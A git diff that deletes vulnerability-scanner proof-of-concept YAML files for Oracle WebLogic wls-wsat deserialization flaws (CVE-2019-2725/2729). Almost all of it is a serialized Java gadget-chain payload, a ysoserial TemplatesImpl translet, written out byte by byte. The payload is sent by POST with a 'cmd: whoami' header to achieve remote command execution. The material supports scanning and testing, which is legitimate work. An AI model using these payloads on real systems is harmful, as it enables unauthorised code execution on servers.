- 56
-
-
- 113
-
-
- 0
-
-
- 126
-
-
- 0
-
-
- 9
-
-
- 120
-
-
- 118
-
-
- 114
-
-
- 0
-
-
- 29
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 120
-
-
- 46
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 46
-
-
- 116
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 102
-
-
- 111
-
-
- 114
-
-
- 109
-
-
- 46
-
-
- 84
-
-
- 101
-
-
- 109
-
-
- 112
-
-
- 108
-
-
- 97
-
-
- 116
-
-
- 101
-
-
- 115
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 120
-
-
- 112
-
-
- 120
-
-
-
-
-
-
-
-
- follow_redirects: false
- expression: 'response.status == 200 && response.body.bcontains(b"whoami :")'
-
-detail:
- vulnpath: "/wls-wsat/CoordinatorPortType"
- author: fnmsd(https://github.com/fnmsd),2357000166(https://github.com/2357000166)
- description: "Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2019-2725 + org.slf4j.ext.EventData"
- links:
- - https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
- - https://github.com/QAX-A-Team/WeblogicEnvironment
- - https://xz.aliyun.com/t/5299
diff --git a/WebScan/pocs/weblogic-cve-2019-2729-1.yml b/WebScan/pocs/weblogic-cve-2019-2729-1.yml
deleted file mode 100644
index 919ee57..0000000
--- a/WebScan/pocs/weblogic-cve-2019-2729-1.yml
+++ /dev/null
@@ -1,15065 +0,0 @@
-name: poc-yaml-weblogic-cve-2019-2729-1
-rules:
- - method: POST
- path: /wls-wsat/CoordinatorPortType
- headers:
- Content-Type: text/xml
- cmd: whoami
- body: |-
-
-
-
- xx
- xx
-
-
-
- oracle.toplink.internal.sessions.UnitOfWorkChangeSet
-
-
-
- -84
-
-
- -19
-
-
- 0
-
-
- 5
-
-
- 115
-
-
- 114
-
-
- 0
-
-
- 23
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 46
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 46
-
-
- 76
-
-
- 105
-
-
- 110
-
-
- 107
-
-
- 101
-
-
- 100
-
-
- 72
-
-
- 97
-
-
- 115
-
-
- 104
-
-
- 83
-
-
- 101
-
-
- 116
-
-
- -40
-
-
- 108
-
-
- -41
-
-
- 90
-
-
- -107
-
-
- -35
-
-
- 42
-
-
- 30
-
-
- 2
-
-
- 0
-
-
- 0
-
-
- 120
-
-
- 114
-
-
- 0
-
-
- 17
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 46
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 46
-
-
- 72
-
-
- 97
-
-
- 115
-
-
- 104
-
-
- 83
-
-
- 101
-
-
- 116
-
-
- -70
-
-
- 68
-
-
- -123
-
-
- -107
-
-
- -106
-
-
- -72
-
-
- -73
-
-
- 52
-
-
- 3
-
-
- 0
-
-
- 0
-
-
- 120
-
-
- 112
-
-
- 119
-
-
- 12
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 16
-
-
- 63
-
-
- 64
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 115
-
-
- 114
-
-
- 0
-
-
- 58
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 46
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 46
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 46
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 46
-
-
- 120
-
-
- 97
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 46
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 46
-
-
- 120
-
-
- 115
-
-
- 108
-
-
- 116
-
-
- 99
-
-
- 46
-
-
- 116
-
-
- 114
-
-
- 97
-
-
- 120
-
-
- 46
-
-
- 84
-
-
- 101
-
-
- 109
-
-
- 112
-
-
- 108
-
-
- 97
-
-
- 116
-
-
- 101
-
-
- 115
-
-
- 73
-
-
- 109
-
-
- 112
-
-
- 108
-
-
- 9
-
-
- 87
-
-
- 79
-
-
- -63
-
-
- 110
-
-
- -84
-
-
- -85
-
-
- 51
-
-
- 3
-
-
- 0
-
-
- 9
-
-
- 73
-
-
- 0
-
-
- 13
-
-
- 95
-
-
- 105
-
-
- 110
-
-
- 100
-
-
- 101
-
-
- 110
-
-
- 116
-
-
- 78
-
-
- 117
-
-
- 109
-
-
- 98
-
-
- 101
-
-
- 114
-
-
- 73
-
-
- 0
-
-
- 14
-
-
- 95
-
-
- 116
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 73
-
-
- 110
-
-
- 100
-
-
- 101
-
-
- 120
-
-
- 90
-
-
- 0
-
-
- 21
-
-
- 95
-
-
- 117
-
-
- 115
-
-
- 101
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 105
-
-
- 99
-
-
- 101
-
-
- 115
-
-
- 77
-
-
- 101
-
-
- 99
-
-
- 104
-
-
- 97
-
-
- 110
-
-
- 105
-
-
- 115
-
-
- 109
-
-
- 76
-
-
- 0
-
-
- 25
-
-
- 95
-
-
- 97
-
-
- 99
-
-
- 99
-
-
- 101
-
-
- 115
-
-
- 115
-
-
- 69
-
-
- 120
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 83
-
-
- 116
-
-
- 121
-
-
- 108
-
-
- 101
-
-
- 115
-
-
- 104
-
-
- 101
-
-
- 101
-
-
- 116
-
-
- 116
-
-
- 0
-
-
- 18
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 59
-
-
- 76
-
-
- 0
-
-
- 11
-
-
- 95
-
-
- 97
-
-
- 117
-
-
- 120
-
-
- 67
-
-
- 108
-
-
- 97
-
-
- 115
-
-
- 115
-
-
- 101
-
-
- 115
-
-
- 116
-
-
- 0
-
-
- 59
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 97
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 120
-
-
- 115
-
-
- 108
-
-
- 116
-
-
- 99
-
-
- 47
-
-
- 114
-
-
- 117
-
-
- 110
-
-
- 116
-
-
- 105
-
-
- 109
-
-
- 101
-
-
- 47
-
-
- 72
-
-
- 97
-
-
- 115
-
-
- 104
-
-
- 116
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 59
-
-
- 91
-
-
- 0
-
-
- 10
-
-
- 95
-
-
- 98
-
-
- 121
-
-
- 116
-
-
- 101
-
-
- 99
-
-
- 111
-
-
- 100
-
-
- 101
-
-
- 115
-
-
- 116
-
-
- 0
-
-
- 3
-
-
- 91
-
-
- 91
-
-
- 66
-
-
- 91
-
-
- 0
-
-
- 6
-
-
- 95
-
-
- 99
-
-
- 108
-
-
- 97
-
-
- 115
-
-
- 115
-
-
- 116
-
-
- 0
-
-
- 18
-
-
- 91
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 67
-
-
- 108
-
-
- 97
-
-
- 115
-
-
- 115
-
-
- 59
-
-
- 76
-
-
- 0
-
-
- 5
-
-
- 95
-
-
- 110
-
-
- 97
-
-
- 109
-
-
- 101
-
-
- 113
-
-
- 0
-
-
- 126
-
-
- 0
-
-
- 4
-
-
- 76
-
-
- 0
-
-
- 17
-
-
- 95
-
-
- 111
-
-
- 117
-
-
- 116
-
-
- 112
-
-
- 117
-
-
- 116
-
-
- 80
-
-
- 114
-
-
- 111
-
-
- 112
-
-
- 101
-
-
- 114
-
-
- 116
-
-
- 105
-
-
- 101
-
-
- 115
-
-
- 116
-
-
- 0
-
-
- 22
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 80
-
-
- 114
-
-
- 111
-
-
- 112
-
-
- 101
-
-
- 114
-
-
- 116
-
-
- 105
-
-
- 101
-
-
- 115
-
-
- 59
-
-
- 120
-
-
- 112
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- -1
-
-
- -1
-
-
- -1
-
-
- -1
-
-
- 0
-
-
- 116
-
-
- 0
-
-
- 3
-
-
- 97
-
-
- 108
-
-
- 108
-
-
- 112
-
-
- 117
-
-
- 114
-
-
- 0
-
-
- 3
-
-
- 91
-
-
- 91
-
-
- 66
-
-
- 75
-
-
- -3
-
-
- 25
-
-
- 21
-
-
- 103
-
-
- 103
-
-
- -37
-
-
- 55
-
-
- 2
-
-
- 0
-
-
- 0
-
-
- 120
-
-
- 112
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 117
-
-
- 114
-
-
- 0
-
-
- 2
-
-
- 91
-
-
- 66
-
-
- -84
-
-
- -13
-
-
- 23
-
-
- -8
-
-
- 6
-
-
- 8
-
-
- 84
-
-
- -32
-
-
- 2
-
-
- 0
-
-
- 0
-
-
- 120
-
-
- 112
-
-
- 0
-
-
- 0
-
-
- 14
-
-
- 29
-
-
- -54
-
-
- -2
-
-
- -70
-
-
- -66
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 50
-
-
- 0
-
-
- -70
-
-
- 10
-
-
- 0
-
-
- 3
-
-
- 0
-
-
- 34
-
-
- 7
-
-
- 0
-
-
- -72
-
-
- 7
-
-
- 0
-
-
- 37
-
-
- 7
-
-
- 0
-
-
- 38
-
-
- 1
-
-
- 0
-
-
- 16
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 86
-
-
- 101
-
-
- 114
-
-
- 115
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 85
-
-
- 73
-
-
- 68
-
-
- 1
-
-
- 0
-
-
- 1
-
-
- 74
-
-
- 1
-
-
- 0
-
-
- 13
-
-
- 67
-
-
- 111
-
-
- 110
-
-
- 115
-
-
- 116
-
-
- 97
-
-
- 110
-
-
- 116
-
-
- 86
-
-
- 97
-
-
- 108
-
-
- 117
-
-
- 101
-
-
- 5
-
-
- -83
-
-
- 32
-
-
- -109
-
-
- -13
-
-
- -111
-
-
- -35
-
-
- -17
-
-
- 62
-
-
- 1
-
-
- 0
-
-
- 6
-
-
- 60
-
-
- 105
-
-
- 110
-
-
- 105
-
-
- 116
-
-
- 62
-
-
- 1
-
-
- 0
-
-
- 3
-
-
- 40
-
-
- 41
-
-
- 86
-
-
- 1
-
-
- 0
-
-
- 4
-
-
- 67
-
-
- 111
-
-
- 100
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 15
-
-
- 76
-
-
- 105
-
-
- 110
-
-
- 101
-
-
- 78
-
-
- 117
-
-
- 109
-
-
- 98
-
-
- 101
-
-
- 114
-
-
- 84
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 18
-
-
- 76
-
-
- 111
-
-
- 99
-
-
- 97
-
-
- 108
-
-
- 86
-
-
- 97
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 84
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 4
-
-
- 116
-
-
- 104
-
-
- 105
-
-
- 115
-
-
- 1
-
-
- 0
-
-
- 19
-
-
- 83
-
-
- 116
-
-
- 117
-
-
- 98
-
-
- 84
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 80
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 1
-
-
- 0
-
-
- 12
-
-
- 73
-
-
- 110
-
-
- 110
-
-
- 101
-
-
- 114
-
-
- 67
-
-
- 108
-
-
- 97
-
-
- 115
-
-
- 115
-
-
- 101
-
-
- 115
-
-
- 1
-
-
- 0
-
-
- 53
-
-
- 76
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 112
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 115
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 36
-
-
- 83
-
-
- 116
-
-
- 117
-
-
- 98
-
-
- 84
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 80
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 59
-
-
- 1
-
-
- 0
-
-
- 9
-
-
- 116
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 102
-
-
- 111
-
-
- 114
-
-
- 109
-
-
- 1
-
-
- 0
-
-
- 114
-
-
- 40
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 97
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 120
-
-
- 115
-
-
- 108
-
-
- 116
-
-
- 99
-
-
- 47
-
-
- 68
-
-
- 79
-
-
- 77
-
-
- 59
-
-
- 91
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 101
-
-
- 114
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 72
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 41
-
-
- 86
-
-
- 1
-
-
- 0
-
-
- 8
-
-
- 100
-
-
- 111
-
-
- 99
-
-
- 117
-
-
- 109
-
-
- 101
-
-
- 110
-
-
- 116
-
-
- 1
-
-
- 0
-
-
- 45
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 97
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 120
-
-
- 115
-
-
- 108
-
-
- 116
-
-
- 99
-
-
- 47
-
-
- 68
-
-
- 79
-
-
- 77
-
-
- 59
-
-
- 1
-
-
- 0
-
-
- 8
-
-
- 104
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 115
-
-
- 1
-
-
- 0
-
-
- 66
-
-
- 91
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 101
-
-
- 114
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 72
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 1
-
-
- 0
-
-
- 10
-
-
- 69
-
-
- 120
-
-
- 99
-
-
- 101
-
-
- 112
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 115
-
-
- 7
-
-
- 0
-
-
- 39
-
-
- 1
-
-
- 0
-
-
- -90
-
-
- 40
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 97
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 120
-
-
- 115
-
-
- 108
-
-
- 116
-
-
- 99
-
-
- 47
-
-
- 68
-
-
- 79
-
-
- 77
-
-
- 59
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 100
-
-
- 116
-
-
- 109
-
-
- 47
-
-
- 68
-
-
- 84
-
-
- 77
-
-
- 65
-
-
- 120
-
-
- 105
-
-
- 115
-
-
- 73
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 97
-
-
- 116
-
-
- 111
-
-
- 114
-
-
- 59
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 101
-
-
- 114
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 72
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 41
-
-
- 86
-
-
- 1
-
-
- 0
-
-
- 8
-
-
- 105
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 97
-
-
- 116
-
-
- 111
-
-
- 114
-
-
- 1
-
-
- 0
-
-
- 53
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 100
-
-
- 116
-
-
- 109
-
-
- 47
-
-
- 68
-
-
- 84
-
-
- 77
-
-
- 65
-
-
- 120
-
-
- 105
-
-
- 115
-
-
- 73
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 97
-
-
- 116
-
-
- 111
-
-
- 114
-
-
- 59
-
-
- 1
-
-
- 0
-
-
- 7
-
-
- 104
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 1
-
-
- 0
-
-
- 65
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 101
-
-
- 114
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 72
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 1
-
-
- 0
-
-
- 10
-
-
- 83
-
-
- 111
-
-
- 117
-
-
- 114
-
-
- 99
-
-
- 101
-
-
- 70
-
-
- 105
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 12
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 46
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 12
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- 11
-
-
- 7
-
-
- 0
-
-
- 40
-
-
- 1
-
-
- 0
-
-
- 51
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 112
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 115
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 36
-
-
- 83
-
-
- 116
-
-
- 117
-
-
- 98
-
-
- 84
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 80
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 1
-
-
- 0
-
-
- 64
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 97
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 120
-
-
- 115
-
-
- 108
-
-
- 116
-
-
- 99
-
-
- 47
-
-
- 114
-
-
- 117
-
-
- 110
-
-
- 116
-
-
- 105
-
-
- 109
-
-
- 101
-
-
- 47
-
-
- 65
-
-
- 98
-
-
- 115
-
-
- 116
-
-
- 114
-
-
- 97
-
-
- 99
-
-
- 116
-
-
- 84
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 1
-
-
- 0
-
-
- 20
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 57
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 97
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 120
-
-
- 115
-
-
- 108
-
-
- 116
-
-
- 99
-
-
- 47
-
-
- 84
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 69
-
-
- 120
-
-
- 99
-
-
- 101
-
-
- 112
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 1
-
-
- 0
-
-
- 31
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 112
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 115
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 1
-
-
- 0
-
-
- 8
-
-
- 60
-
-
- 99
-
-
- 108
-
-
- 105
-
-
- 110
-
-
- 105
-
-
- 116
-
-
- 62
-
-
- 1
-
-
- 0
-
-
- 16
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 84
-
-
- 104
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 100
-
-
- 7
-
-
- 0
-
-
- 42
-
-
- 1
-
-
- 0
-
-
- 13
-
-
- 99
-
-
- 117
-
-
- 114
-
-
- 114
-
-
- 101
-
-
- 110
-
-
- 116
-
-
- 84
-
-
- 104
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 100
-
-
- 1
-
-
- 0
-
-
- 20
-
-
- 40
-
-
- 41
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 84
-
-
- 104
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 100
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- 44
-
-
- 0
-
-
- 45
-
-
- 10
-
-
- 0
-
-
- 43
-
-
- 0
-
-
- 46
-
-
- 1
-
-
- 0
-
-
- 27
-
-
- 119
-
-
- 101
-
-
- 98
-
-
- 108
-
-
- 111
-
-
- 103
-
-
- 105
-
-
- 99
-
-
- 47
-
-
- 119
-
-
- 111
-
-
- 114
-
-
- 107
-
-
- 47
-
-
- 69
-
-
- 120
-
-
- 101
-
-
- 99
-
-
- 117
-
-
- 116
-
-
- 101
-
-
- 84
-
-
- 104
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 100
-
-
- 7
-
-
- 0
-
-
- 48
-
-
- 1
-
-
- 0
-
-
- 14
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 67
-
-
- 117
-
-
- 114
-
-
- 114
-
-
- 101
-
-
- 110
-
-
- 116
-
-
- 87
-
-
